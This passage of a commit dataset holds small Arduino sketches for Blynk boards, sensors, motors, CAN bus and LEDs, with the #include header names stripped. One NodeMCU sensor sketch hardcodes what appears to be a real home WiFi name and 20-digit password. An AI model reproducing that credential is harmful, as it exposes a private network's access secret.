rduino-ESP8266,ogahara\/Arduino,koltegirish\/Arduino,myrtleTree33\/Arduino,EmuxEvans\/Arduino,jomolinare\/Arduino,aichi\/Arduino-2,jomolinare\/Arduino,tannewt\/Arduino,sanyaade-iot\/Arduino-1,jomolinare\/Arduino,spapadim\/Arduino,ogahara\/Arduino,drpjk\/Arduino,mangelajo\/Arduino,EmuxEvans\/Arduino,leftbrainstrain\/Arduino-ESP8266,ssvs111\/Arduino,tannewt\/Arduino,weera00\/Arduino,paulmand3l\/Arduino,zenmanenergy\/Arduino,ogahara\/Arduino,tannewt\/Arduino,gonium\/Arduino,radut\/Arduino,koltegirish\/Arduino,zenmanenergy\/Arduino,eeijcea\/Arduino-1,paulmand3l\/Arduino,paulmand3l\/Arduino,paulo-raca\/ESP8266-Arduino,tannewt\/Arduino,drpjk\/Arduino,aichi\/Arduino-2,spapadim\/Arduino,gonium\/Arduino,ssvs111\/Arduino,jomolinare\/Arduino,eeijcea\/Arduino-1,ssvs111\/Arduino,eeijcea\/Arduino-1,myrtleTree33\/Arduino,aichi\/Arduino-2,spapadim\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,myrtleTree33\/Arduino,sanyaade-iot\/Arduino-1,jomolinare\/Arduino,zenmanenergy\/Arduino,wdoganowski\/Arduino,noahchense\/Arduino-1,ogahara\/Arduino,paulo-raca\/ESP8266-Arduino,paulmand3l\/Arduino"} {"commit":"e1bff356943611f3df9dc6a11a4c3a97a1918cae","old_file":"GoliathMqttSensor.ino","new_file":"GoliathMqttSensor.ino","old_contents":"","new_contents":"\/* Stub to allow build from Arduino IDE *\/\n\/* Includes to external libraries *\/\n#include \n#include \n#include \n#include \n\n","subject":"Add 'ino' file to allow build from Arduino IDE","message":"Add 'ino' file to allow build from Arduino IDE\n","lang":"Arduino","license":"mit","repos":"monstrenyatko\/ArduinoMqttNode"} {"commit":"a6933a552ad7992dc61b371211abcb165846e503","old_file":"ardupet.ino","new_file":"ardupet.ino","old_contents":"","new_contents":"char incomingByte = 0;\n\nconst char lampCount = 4;\nconst unsigned short doorUnlockTime = 2000; \/\/ in miliseconds\n\nbool lampStatus[lampCount];\nbool doorStatus;\nunsigned short doorUnlockTimer;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(13, OUTPUT);\n \n for (int i = 0; i < lampCount; ++i)\n lampStatus[i] = false;\n doorStatus = false;\n}\n\nvoid loop() {\n if (Serial.available() > 2) {\n \/\/ Option can be 'r' (read) or 'w' (write)\n incomingByte = Serial.read();\n \n if (incomingByte == 'r') { \n \/\/ Option can be 'l' (lamp) or 'd' (door)\n incomingByte = Serial.read();\n \n if (incomingByte == 'l') {\n \/\/ Option can be 0 to (lampCount-1) (lamp id)\n incomingByte = Serial.read();\n \n if (incomingByte < lampCount)\n Serial.write(lampStatus[incomingByte]);\n } else if (incomingByte == 'd') {\n \/\/ Discard last byte, since door does not have id and last byte has to be consumed\n Serial.read();\n \n Serial.write(doorStatus);\n }\n } else if (incomingByte == 'w') {\n \/\/ Option can be 'l' (lamp) or 'd' (door)\n incomingByte = Serial.read();\n \n if (incomingByte == 'l') {\n \/\/ Option can be 0 to (lampCount-1) (lamp id)\n incomingByte = Serial.read();\n \n if (incomingByte < lampCount) {\n \/\/ TODO: Logic to invert lamp status\n \n lampStatus[incomingByte] = !lampStatus[incomingByte];\n }\n } else if (incomingByte == 'd') {\n \/\/ Discard last byte, since door does not have id and last byte has to be consumed\n Serial.read();\n \n \/\/ TODO: Logic to unlock the door\n \n doorStatus = true;\n doorUnlockTimer = doorUnlockTime;\n }\n }\n }\n \n if (doorUnlockTimer > 0) {\n digitalWrite(13, HIGH);\n --doorUnlockTimer;\n } else {\n \/\/ TODO: Logic to lock the door?\n \n digitalWrite(13, LOW);\n doorStatus = false;\n }\n \n \/\/ Delay to make board timing predictable\n delay(1);\n}\n","subject":"Include code sample for Arduino","message":"Include code sample for Arduino\n","lang":"Arduino","license":"mit","repos":"ranisalt\/ardupet"} {"commit":"68562c1f7ea7f13af351ba8b1cdd08a28228bea8","old_file":"steppercontrol\/steppercontrol.ino","new_file":"steppercontrol\/steppercontrol.ino","old_contents":"","new_contents":"int motorPin = 9;\nint switchPin = 7;\nint motorStep = 0;\nint maxStep = 200;\nint minimumStepDelay = 2;\n\nString motorState = String(\"off\");\n\nvoid makeStep() {\n digitalWrite(motorPin, HIGH);\n digitalWrite(motorPin, LOW);\n motorStep += 1;\n if (motorStep > maxStep) {\n motorStep = 0;\n } \n}\n\nvoid resetMotor() {\n for (int i = motorStep; i < maxStep; i++) {\n makeStep();\n delay(minimumStepDelay);\n }\n}\n\nvoid setup() { \n pinMode(switchPin, INPUT);\n pinMode(motorPin, OUTPUT);\n digitalWrite(switchPin, HIGH); \n \n Serial.begin(9600);\n} \n\nvoid loop() { \n if(Serial.available() > 0) {\n char command = Serial.read();\n switch (command) {\n case 'd':\n Serial.println(String(\"Current step: \") + motorStep);\n break;\n case 's':\n makeStep();\n Serial.println(motorStep);\n break;\n case 'r':\n resetMotor();\n Serial.println(String(\"Motor reset. (Step is \") + motorStep + String(\")\"));\n }\n }\n}\n\n\n","subject":"Add motor control arduino sketch","message":"Add motor control arduino sketch\n","lang":"Arduino","license":"mit","repos":"kirberich\/3dscanner"} {"commit":"199d247263c93c7019477ebbd4ae445be84f91e5","old_file":"examples\/Serial\/Serial.ino","new_file":"examples\/Serial\/Serial.ino","old_contents":"","new_contents":"#include \"VdlkinoSerial.h\"\n\nVdlkinoSerial vdlkino(14, 6, &Serial);\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n vdlkino.run();\n}\n","subject":"Add example of using serial","message":"Add example of using serial\n","lang":"Arduino","license":"mit","repos":"eduardoklosowski\/vdlkino,eduardoklosowski\/vdlkino"} {"commit":"bb19d8ebeaca67e85b036df5914bcf588bcd9235","old_file":"examples\/determining_gain\/determining_gain.ino","new_file":"examples\/determining_gain\/determining_gain.ino","old_contents":"","new_contents":"\/\/ Gain Setting Example\n\/\/ Demonstrates the filter response with unity input to\n\/\/ get the appropriate value for the filter gain setting.\n\n#include \n\n\/\/ Make an instance of the FIR filter. In this example we'll use\n\/\/ floating point values and a 13 element filter.\nFIR fir;\n\nvoid setup() {\n Serial.begin(115200); \/\/ Start a serial port\n\n \/\/ Use an online tool to get these such as http:\/\/t-filter.engineerjs.com\n \/\/ This filter rolls off after 2 Hz for a 10 Hz sampling rate.\n long coef[13] = { 660, 470, -1980, -3830, 504, 10027, 15214,\n 10027, 504, -3830, -1980, 470, 660};\n \n \/\/ Set the coefficients\n fir.setFilterCoeffs(coef);\n\n \/\/ Set the gain to 1 to find the actual gain.\n \/\/ After running this sketch you'll see the gain\n \/\/ value sould be 26916.\n long gain = 1;\n\n \/\/ Set the gain\n fir.setGain(gain);\n}\n\nvoid loop() {\n \/\/ Need to run at least the length of the filter.\n for (float i=0; i < 14; i++) {\n Serial.print(\"Iteration \");\n Serial.print(i+1);\n Serial.print(\" -> \");\n Serial.println(fir.processReading(1)); \/\/ Input all unity values\n }\n\n while (true) {}; \/\/ Spin forever\n}\n\n","subject":"Add an example of how to determine the gain setting for a filter.","message":"Add an example of how to determine the gain setting for a filter.\n","lang":"Arduino","license":"mit","repos":"LeemanGeophysicalLLC\/FIR_Filter_Arduino_Library"} {"commit":"8d00a318388a53ea942ead48928d01b2de4dd520","old_file":"examples\/Boards_WiFi\/Adafruit_Feather_M0_WiFi\/Adafruit_Feather_M0_WiFi.ino","new_file":"examples\/Boards_WiFi\/Adafruit_Feather_M0_WiFi\/Adafruit_Feather_M0_WiFi.ino","old_contents":"","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use Adafruit Feather M0 WiFi\n * to connect your project to Blynk.\n *\n * Note: This requires WiFi101 library\n * from http:\/\/librarymanager\/all#WiFi101\n *\n * Feel free to apply it to any other example. It's simple!\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include \n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\nchar ssid[] = \"YourNetworkName\";\nchar pass[] = \"YourPassword\";\n\nvoid setup()\n{\n Serial.begin(9600);\n\n WiFi.setPins(8,7,4,2);\n\n Blynk.begin(auth, ssid, pass);\n \/\/ Or specify server using one of those commands:\n \/\/Blynk.begin(auth, ssid, pass, \"blynk-cloud.com\", 8442);\n \/\/Blynk.begin(auth, ssid, pass, server_ip, port);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Add Feather M0 WiFi example","message":"Add Feather M0 WiFi example\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library"} {"commit":"8c1b7fe88de6e5c300388a29c035501c8eab2fb4","old_file":"neopixel_rgb_knob\/neopixel_rgb_knob.ino","new_file":"neopixel_rgb_knob\/neopixel_rgb_knob.ino","old_contents":"","new_contents":"\/*\n * neopixel_rgb_knob\n * \n * This is a test program to adjust the rgb of a strip of\n * neopixels useing three potentiometers.\n *\/\n\n#include \n#ifdef __AVR__\n #include \/\/ Required for 16 MHz Adafruit Trinket\n#endif\n\n\/\/ Which pin on the Arduino is connected to the NeoPixels?\n\/\/ On a Trinket or Gemma we suggest changing this to 1:\n#define LED_PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define LED_COUNT 8\n\n\/\/ Declare our NeoPixel strip object:\nAdafruit_NeoPixel strip(LED_COUNT, LED_PIN, NEO_GRB + NEO_KHZ800);\n\n\/* Set up three potentiometers to adjust the rgb colors *\/\n#define knob_r 0\n#define knob_g 1\n#define knob_b 2\n\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/ These lines are specifically to support the Adafruit Trinket 5V 16 MHz.\n \/\/ Any other board, you can remove this part (but no harm leaving it):\n#if defined(__AVR_ATtiny85__) && (F_CPU == 16000000)\n clock_prescale_set(clock_div_1);\n#endif\n \/\/ END of Trinket-specific code.\n \n strip.begin(); \/\/ INITIALIZE NeoPixel strip object (REQUIRED)\n strip.show(); \/\/ Turn OFF all pixels ASAP\n strip.setBrightness(50); \/\/ Set BRIGHTNESS to about 1\/5 (max = 255)\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n int r, g, b;\n\n \/* Get each of the rgb values and then map from 0-1023 to 0-255. *\/\n\n r = analogRead(knob_r);\n r = map(r, 0, 1023, 0, 255);\n\n g = analogRead(knob_g);\n g = map(g, 0, 1023, 0, 255);\n\n b = analogRead(knob_b);\n b = map(b, 0, 1023, 0, 255);\n\n \/* set all of the pixels to the same color *\/\n setAll(r, g, b);\n \n}\n\n\/* Simple function to set all of the neopixels to the same color *\/\nvoid setAll(byte red, byte green, byte blue) {\n for(int i = 0; i < LED_COUNT; i++ ) {\n strip.setPixelColor(i, red, green, blue);\n }\n strip.show();\n}\n","subject":"Add program to adjust pixel color with three potentiometers.","message":"Add program to adjust pixel color with three potentiometers.\n","lang":"Arduino","license":"mit","repos":"rlynch3456\/Arduino"} {"commit":"8b81bd258e7d5d457a57ccd7b007a83bfd5f7cf4","old_file":"arduino\/tempsens\/tempsens.ino","new_file":"arduino\/tempsens\/tempsens.ino","old_contents":"","new_contents":"#include \n#include \n\n\/\/ Change these if appropriate\n\/\/ The pin that sensors are connected to\n#define ONE_WIRE_BUS 2\n\/\/ What precision to set the sensor to\n#define TEMPERATURE_PRECISION 11\n\nOneWire one_wire(ONE_WIRE_BUS);\nDallasTemperature sensors(&one_wire);\n\n\/\/ We will store an array of probes we find on initial startup. If you have\n\/\/ more than 20 probes, feel free to bump this number and see if it'll actually\n\/\/ work at all.\nDeviceAddress probes[20];\nint num_probes = 0;\n\nvoid setup() {\n Serial.begin(9600);\n sensors.begin();\n\n \/\/ Set all devices to the same resolution\n sensors.setResolution(TEMPERATURE_PRECISION);\n\n \/\/ Find our sensors, use num_probes as a handy counter.\n one_wire.reset_search();\n while (one_wire.search(probes[num_probes])) {\n num_probes++;\n }\n}\n\nvoid print_address(DeviceAddress device_address) {\n \/\/ Device address is 8 bytes, iterate over them.\n for (byte i = 0; i < 8; i++) {\n if (device_address[i] < 16) {\n Serial.print(\"0\");\n }\n Serial.print(device_address[i], HEX);\n }\n}\n\nvoid print_reading(DeviceAddress device_address) {\n \/\/ Print out data in the form of ADDRESS:TEMPERATURE\n \/\/ This bit's annoying enough to get its own function\n print_address(device_address);\n Serial.print(\":\");\n Serial.print(sensors.getTempC(device_address));\n Serial.print('\\n');\n}\n\nvoid loop() {\n \/\/ Make sure we're not just spitting out some constant meaningless numbers\n sensors.requestTemperatures();\n for (int i = 0; i < num_probes; i++) {\n print_reading(probes[i]);\n }\n}\n","subject":"Add Arduino code for reporting temperature sensor data.","message":"Add Arduino code for reporting temperature sensor data.\n","lang":"Arduino","license":"mit","repos":"turmoni\/temp-probe-exporter,turmoni\/temp-probe-exporter"} {"commit":"b34f772518509faa3ad4c518815ec765fcd50289","old_file":"examples\/Boards_BLE\/Serial_HC05_HC06\/Serial_HC05_HC06.ino","new_file":"examples\/Boards_BLE\/Serial_HC05_HC06\/Serial_HC05_HC06.ino","old_contents":"","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use Arduino with HC-06\/HC-05\n * Bluetooth 2.0 Serial Port Profile (SPP) module\n * to connect your project to Blynk.\n *\n * Feel free to apply it to any other example. It's simple!\n *\n * NOTE: Bluetooth support is in beta!\n *\n **************************************************************\/\n\n\/\/ You could use a spare Hardware Serial on boards that have it (like Mega)\n#include \nSoftwareSerial DebugSerial(2, 3); \/\/ RX, TX\n\n#define BLYNK_PRINT DebugSerial\n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug console\n DebugSerial.begin(9600);\n\n \/\/ Blynk will work through Serial\n Serial.begin(9600);\n Blynk.begin(auth, Serial);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Add Bluetooth 2.0 Serial Port Profile (SPP) example","message":"Add Bluetooth 2.0 Serial Port Profile (SPP) example\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library"} {"commit":"91e92761455d509bad933099e46635a2c435bcf1","old_file":"Ard-Analog\/AnalogIn\/AnalogIn.ino","new_file":"Ard-Analog\/AnalogIn\/AnalogIn.ino","old_contents":"","new_contents":"const int analogInPin = A0;\nconst int analogOutPin = 3;\n\nint sensorValue = 0;\nint outputValue = 0;\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n sensorValue = analogRead(analogInPin);\n outputValue = map(sensorValue, 0, 1023, 0, 255);\n analogWrite(analogOutPin, outputValue);\n\n \/\/ print the results to the serial monitor:\n Serial.print(\"sensor = \" );\n Serial.print(sensorValue);\n Serial.print(\"\\t output = \");\n Serial.println(outputValue);\n delay(250);\n}\r\n","subject":"Add Arduino program for working with Analog data","message":"Add Arduino program for working with Analog data\n","lang":"Arduino","license":"cc0-1.0","repos":"CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics"} {"commit":"d310e299c635043beefdd097bb92a978cbffde80","old_file":"examples\/receive_interruptFD\/receive_interruptFD.ino","new_file":"examples\/receive_interruptFD\/receive_interruptFD.ino","old_contents":"","new_contents":"\/\/ demo: CAN-BUS Shield, receive data with interrupt mode\n\/\/ when in interrupt mode, the data coming can't be too fast, must >20ms, or else you can use check mode\n\/\/ loovee, 2014-6-13\n\n#include \n#include \"mcp2518fd_can.h\"\n\n\/*SAMD core*\/\n#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE\n #define SERIAL SerialUSB\n#else\n #define SERIAL Serial\n#endif\n\n#define CAN_2518FD\n\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = BCM8;\nconst int CAN_INT_PIN = BCM25;\n\n#ifdef CAN_2518FD\nmcp2518fd CAN(SPI_CS_PIN); \/\/ Set CS pin\n#endif\n\nunsigned char flagRecv = 0;\nunsigned char len = 0;\nunsigned char buf[64];\nchar str[20];\n\nvoid setup() {\n SERIAL.begin(115200);\n while (!SERIAL) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n CAN.setMode(0);\n while (0 != CAN.begin((byte)CAN_500K_1M)) { \/\/ init can bus : baudrate = 500k \n SERIAL.println(\"CAN BUS Shield init fail\");\n SERIAL.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n byte mode = CAN.getMode();\n SERIAL.printf(\"CAN BUS get mode = %d\\n\\r\",mode);\n SERIAL.println(\"CAN BUS Shield init ok!\");\n SERIAL.println(\"CAN BUS Shield init ok!\");\n pinMode(CAN_INT_PIN, INPUT);\n attachInterrupt(digitalPinToInterrupt(CAN_INT_PIN), MCP2515_ISR, FALLING); \/\/ start interrupt\n}\n\nvoid MCP2515_ISR() {\n flagRecv = 1;\n}\n\nvoid loop() {\n if (flagRecv) {\n \/\/ check if get data\n\n flagRecv = 0; \/\/ clear flag\n SERIAL.println(\"into loop\");\n \/\/ iterate over all pending messages\n \/\/ If either the bus is saturated or the MCU is busy,\n \/\/ both RX buffers may be in use and reading a single\n \/\/ message does not clear the IRQ conditon.\n while (CAN_MSGAVAIL == CAN.checkReceive()) {\n \/\/ read data, len: data length, buf: data buf\n SERIAL.println(\"checkReceive\");\n CAN.readMsgBuf(&len, buf);\n \/\/ print the data\n for (int i = 0; i < len; i++) {\n SERIAL.print(buf[i]); SERIAL.print(\"\\t\");\n }\n SERIAL.println();\n }\n }\n}\n\n\/*********************************************************************************************************\n END FILE\n*********************************************************************************************************\/\n","subject":"Add canbus FD receive interrupt example","message":"Add canbus FD receive interrupt example\n","lang":"Arduino","license":"mit","repos":"Seeed-Studio\/CAN_BUS_Shield,Seeed-Studio\/CAN_BUS_Shield"} {"commit":"dae399e6ab31d9a5d4b62a05a5bf047e16fe8c2b","old_file":"Project_7\/Project_7.ino","new_file":"Project_7\/Project_7.ino","old_contents":"","new_contents":"int notes[] = {262, 294, 330, 349};\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n int keyVal = analogRead(A0);\n Serial.println(keyVal);\n if (keyVal == 1023) {\n tone(8, notes[0]);\n }\n else if (keyVal >= 950 && keyVal <= 1010) {\n tone(8, notes[1]);\n }\n else if (keyVal >= 505 && keyVal <= 515) {\n tone(8, notes[2]);\n }\n else if (keyVal >= 5 && keyVal <= 10) {\n tone(8, notes[3]);\n }\n else {\n noTone(8);\n }\n}\n","subject":"Switch keyboard with resistor ladder","message":"Switch keyboard with resistor ladder\n","lang":"Arduino","license":"mit","repos":"martindisch\/Arduino"} {"commit":"b9065c665e649c45b8ed3113c044845ccf27dfe7","old_file":"examples\/Boards_WiFi\/Sparkfun_Blynk_Board\/Sparkfun_Blynk_Board.ino","new_file":"examples\/Boards_WiFi\/Sparkfun_Blynk_Board\/Sparkfun_Blynk_Board.ino","old_contents":"","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example runs on Sparkfun Blynk Board.\n *\n * You need to install this for ESP8266 development:\n * https:\/\/github.com\/esp8266\/Arduino\n *\n * NOTE: You can select NodeMCU 1.0 (compatible board)\n * in the Tools -> Board menu\n *\n * Change WiFi ssid, pass, and Blynk auth token to run :)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include \n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\nchar ssid[] = \"YourNetworkName\";\nchar pass[] = \"YourPassword\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth, ssid, pass);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Add separate Blynk Board example. It deserves one! ;)","message":"Add separate Blynk Board example. It deserves one! ;)\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library"} {"commit":"86d706332f5fd89de122b9904497fb2cdd581df0","old_file":"Sensor\/NodeMcu\/sensor\/sensor.ino","new_file":"Sensor\/NodeMcu\/sensor\/sensor.ino","old_contents":"","new_contents":"#include \n\nconst char* ssid = \"FRITZ!Box Fon WLAN 7360\";\nconst char* password = \"62884846722859294257\";\n\nconst char* host = \"192.168.178.34\";\nchar* clientId = \"photo1\";\nchar* requestBody = \"{ \\\"name\\\":\\\"%s\\\", \\\"weatherData\\\": { \\\"temperature\\\":\\\"%f\\\", \\\"humidity\\\":\\\"%f\\\" } }\";\n\nint delayInMillis = 10000;\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nint value = 0;\n\nvoid loop() {\n delay(5000);\n ++value;\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n \n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 8080;\n if (!client.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n String url = \"\/devices\";\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n\n \/\/char* body = printf(requestBody, clientId, \"90\", \"44\");\n \n \/\/ This will send the request to the server\n client.print(\"POST \" + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\" + \n \"Content-Type: application\/json\\r\\n\" +\n \"Content-Length: 73\\r\\n\" +\n \"\\r\\n\" +\n \"{\\\"name\\\":\\\"node2\\\", \\\"weatherData\\\": { \\\"temperature\\\":\\\"33\\\", \\\"humidity\\\":\\\"55\\\" } }\");\n unsigned long timeout = millis();\n while (client.available() == 0) {\n if (millis() - timeout > 8000) {\n Serial.println(\">>> Client Timeout !\");\n client.stop();\n return;\n }\n }\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n","subject":"Add stub implementation for NodeMCU implementation","message":"Add stub implementation for NodeMCU implementation\n","lang":"Arduino","license":"apache-2.0","repos":"brave-warrior\/Sensors-IoT,brave-warrior\/Sensors-IoT,brave-warrior\/Sensors-IoT"} {"commit":"1cbc68fa55f0f015e0fc3d2bf9bd0b7c3835d0fc","old_file":"Arduino-Serial-Sketch\/run_serial_test\/run_serial_test.ino","new_file":"Arduino-Serial-Sketch\/run_serial_test\/run_serial_test.ino","old_contents":"","new_contents":"void setup() {\n Serial.begin(9600);\n Serial.println(\"Application Started\"); \n}\n\n\nvoid loop() {\n Serial.println(\"Hello From The Other Side!\");\n delay(1000);\n}\n\n\n\n\n\n","subject":"Add arduino serial test sketch","message":"Add arduino serial test sketch","lang":"Arduino","license":"mit","repos":"helmeligi\/Arduino-Serial-to-Java-Application"} {"commit":"b297c901ebe9418f4c8a2e880717afaae1a8845d","old_file":"platformio\/src_str\/adc_string.ino","new_file":"platformio\/src_str\/adc_string.ino","old_contents":"","new_contents":"\/*\nPrototypical arduino\/teensy code.\nThis one sends things as chars, which allows it to be a bit more flexible,\nat the cost of efficiency. For example, sending the timestamp + two analog\nchannels takes 8 bytes in the more efficient code, but ~15 bytes in this code.\nAdditionally, you would need to parse the string on the other side.\nThe plus is that the output is human-readable.\n*\/\n\n#include \"ADC.h\"\n#include \"IntervalTimer.h\"\n\n\/\/ only the lines below needs to change\n\/\/ first line does which analog channels to read,\n\/\/ second line sets the sampling interval (in microseconds)\nconst unsigned int channel_array[2] = {A0, A7};\nconst unsigned long period_0 = 100000;\nconst unsigned int array_size = sizeof(channel_array) \/ sizeof(int);\n\nunsigned int value_array[array_size];\nunsigned int ii = 0;\nvolatile bool go_flag = false;\nbool go_flag_copy = false;\nelapsedMicros current_time;\nunsigned long current_time_copy = 0;\nIntervalTimer timer_0;\n\nADC *adc = new ADC();\n\nvoid setup() {\n for(ii = 0; ii < array_size; ii++) {\n pinMode(channel_array[ii], INPUT);\n }\n\n Serial.begin(9600);\n delay(1000);\n\n adc->setReference(ADC_REF_3V3, ADC_0);\n adc->setAveraging(8);\n adc->setResolution(12);\n adc->setConversionSpeed(ADC_HIGH_SPEED);\n adc->setSamplingSpeed(ADC_HIGH_SPEED);\n timer_0.priority(10);\n timer_0.begin(timerCallback, period_0);\n delay(500);\n}\n\nFASTRUN void timerCallback(void) {\n go_flag = true;\n}\n\nvoid loop() {\n\n while(!go_flag_copy) {\n noInterrupts();\n go_flag_copy = go_flag;\n interrupts();\n }\n go_flag_copy = false;\n go_flag = false;\n\n current_time_copy = current_time;\n for (ii = 0; ii < array_size; ii++) {\n value_array[ii] = adc->analogRead(channel_array[ii]);\n }\n\n Serial.print(current_time_copy);\n Serial.print(\" \");\n\n for (ii = 0; ii < array_size; ii++) {\n Serial.print(value_array[ii]);\n Serial.print(\" \");\n }\n Serial.print(\"\\n\");\n}\n","subject":"Add string equivalent example for teensy","message":"Add string equivalent example for teensy\n","lang":"Arduino","license":"mit","repos":"BLAM-Lab-Projects\/finger-6"} {"commit":"7567b39b65c4979d9667c71e038722a4f1a68cb4","old_file":"examples\/HIH61xx_Wire_demo\/HIH61xx_Wire_demo.ino","new_file":"examples\/HIH61xx_Wire_demo\/HIH61xx_Wire_demo.ino","old_contents":"","new_contents":"\/\/ This example demonstrates how to use the HIH61xx class with the Wire library. The HIH61xx state machine\n\/\/ enables others tasks to run whilst the HIH61xx is powering up etc.\n\n#include \n#include \n#include \n\n\/\/ The \"hih\" object must be created with a reference to the \"Wire\" object which represents the I2C bus it is using.\n\/\/ Note that the class for the Wire object is called \"TwoWire\", and must be included in the templated class name.\nHIH61xx hih(Wire);\n\nAsyncDelay samplingInterval;\n\nvoid setup(void)\n{\n#if F_CPU >= 12000000UL\n Serial.begin(115200);\n#else\n\tSerial.begin(9600);\n#endif\n\n\n\tWire.begin();\n\n\thih.initialise();\n\tsamplingInterval.start(3000, AsyncDelay::MILLIS);\n}\n\n\nbool printed = true;\nvoid loop(void)\n{\n\tif (samplingInterval.isExpired() && !hih.isSampling()) {\n\t\thih.start();\n\t\tprinted = false;\n\t\tsamplingInterval.repeat();\n\t\tSerial.println(\"Sampling started (using Wire library)\");\n\t}\n\n\thih.process();\n\n\tif (hih.isFinished() && !printed) {\n\t\tprinted = true;\n\t\t\/\/ Print saved values\n\t\tSerial.print(\"RH: \");\n\t\tSerial.print(hih.getRelHumidity() \/ 100.0);\n\t\tSerial.println(\" %\");\n\t\tSerial.print(\"Ambient: \");\n\t\tSerial.print(hih.getAmbientTemp() \/ 100.0);\n\t\tSerial.println(\" deg C\");\n\t\tSerial.print(\"Status: \");\n\t\tSerial.println(hih.getStatus());\n\t}\n\n}\n","subject":"Add demo which uses the Wire library","message":"Add demo which uses the Wire library\n","lang":"Arduino","license":"lgpl-2.1","repos":"stevemarple\/HIH61xx"} {"commit":"f09501f3914c0f75f03301589bd95fc52c277990","old_file":"Arduino\/LightPlayer\/LightPlayer.ino","new_file":"Arduino\/LightPlayer\/LightPlayer.ino","old_contents":"","new_contents":"#include \n#include \n#include \n\napa106 LEDstrip;\nrgb 